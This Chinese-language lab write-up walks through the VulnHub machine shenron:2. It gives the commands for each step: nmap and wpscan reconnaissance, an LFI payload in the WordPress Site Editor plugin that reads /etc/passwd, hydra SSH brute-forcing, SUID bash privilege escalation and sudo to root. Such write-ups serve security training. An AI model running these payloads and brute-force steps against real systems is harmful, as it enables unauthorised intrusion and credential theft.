**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
下载地址:
https://www.vulnhub.com/entry/shenron-2,677/
靶场: VulnHub.com
靶机名称: shenron:2
难度: 简单
发布时间: 2021年4月5日
提示信息:
无
目标: 2个flag
实验环境
攻击机:VMware kali 192.168.7.3
靶机:Vbox linux IP自动获取
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo nmap -sP 192.168.7.1/24
扫描到主机地址为192.168.7.166
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 192.168.7.175 -oN 2.namp
扫描到3个开放端口,老规矩先从80端口开始
22:SSH
80:HTTP
8080:HTTP
Web渗透
http://192.168.7.175
打开后是一个HTML5页面,没有找到有用信息,我们做个目录扫描
目录扫描
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.175 -x php,html,txt,zip
没找到可以利用的信息,我们去访问8080端口
http://192.168.7.175:8080
打开后是WordPress站点,网页显示不正常以前打过的经验是需要绑定域名,检查一下源码
随便找个链接,可以看到需要把IP绑定shenron,让我们绑定下
sudo vi /etc/hosts
绑定后刷新一下页面
网页正常了,我们使用wpscan扫描下WordPress漏洞,顺便做个目录扫描
API获取地址
https://wpscan.com/
wpscan --url http://shenron:8080 --api-token 你的api-token -e
LFI本地文件包含漏洞
发现编辑器存在本地包含漏洞,我们去查询下这个漏洞如何利用
拿到payload,测试一下
http://shenron:8080/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
找到2个可以登录的用户,记录下来
vi notes.txt
没有其他可利用的信息了,只能用这2个用户名暴破SSH了
hydra -L notes.txt -P /usr/share/wordlists/rockyou.txt 192.168.7.175 ssh
暴破出jenny的弱口令jenny,SSH登录上去
ssh jenny@192.168.7.175
输入密码jenny
登录成功,找一下可利用的信息
find / -perm -u=s -type f 2>/dev/null
找到2个可以提权的程序,想了想还是不要用pkexec了,先执行下Execute看看是什么
/usr/bin/Execute
运行后没有回显,把他下载到kali攻击上检查下
靶机上开启http服务
cp /usr/bin/Execute /tmp
cd /tmp
python3 -m http.server
kali攻击机下载Execute
wget http://192.168.7.175:8000/Execute
ls
已下载到本地的kali上,来看看程序执行了什么操作
strings Execute
看到程序执行了一大串命令
usr/bin/cp /bin/bash /mnt/bash;//复制bash到mnt目录下
/usr/bin/chmod 777 /mnt/bash;//分配所有用户可读写执行权限
/usr/bin/chown shenron:shenron /mnt/bash;//将文件分配给shenron
/usr/bin/chmod u+s /mnt/bash//加suid
权限提升
suid提权
可以看到/mnt/bash程序有shenron的suid权限,查一下bash如何提权
https://gtfobins.github.io/gtfobins/bash/
知道提权方法了,直接提权
/mnt/bash -p
id
我们有了shenron的权限,查找一下可利用的信息
cd /home/shenron/Desktop
ls -al
cat local.txt
我们在/home/shenron/Desktop目录下找到了2个文件,其中local.txt是我们的第1个flag,查看下.pass文件
cat .pass
获取到加密的字符串,拿去分析下
https://www.dcode.fr/identification-chiffrement
decode.fr识别出是base32加密,我们解一下
echo 'KNUEK3SSN5HFG2CFNZJG6TSTNBCW4UTPJZJWQRLOKJXU4U3IIVXFE32OIBJWQRLOKJXU4I2TNBCW4UTPJZIGCU3TK5XVEZAK' | base32 -d
拿到密码ShEnRoNShEnRoNShEnRoNShEnRoNShEnRoN@ShEnRoN#ShEnRoNPaSsWoRd,切换到shenron用户试试
su shenron
输入密码ShEnRoNShEnRoNShEnRoNShEnRoNShEnRoN@ShEnRoN#ShEnRoNPaSsWoRd
id
切换成功,查找一下可提权的信息
sudo -l
输入密码ShEnRoNShEnRoNShEnRoNShEnRoNShEnRoN@ShEnRoN#ShEnRoNPaSsWoRd
作者累了吗?不想再多一道门槛了吗?直接切换到root用户
sudo su
cd /root
ls
cat root.txt
成功拿到root.txt,游戏结束
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.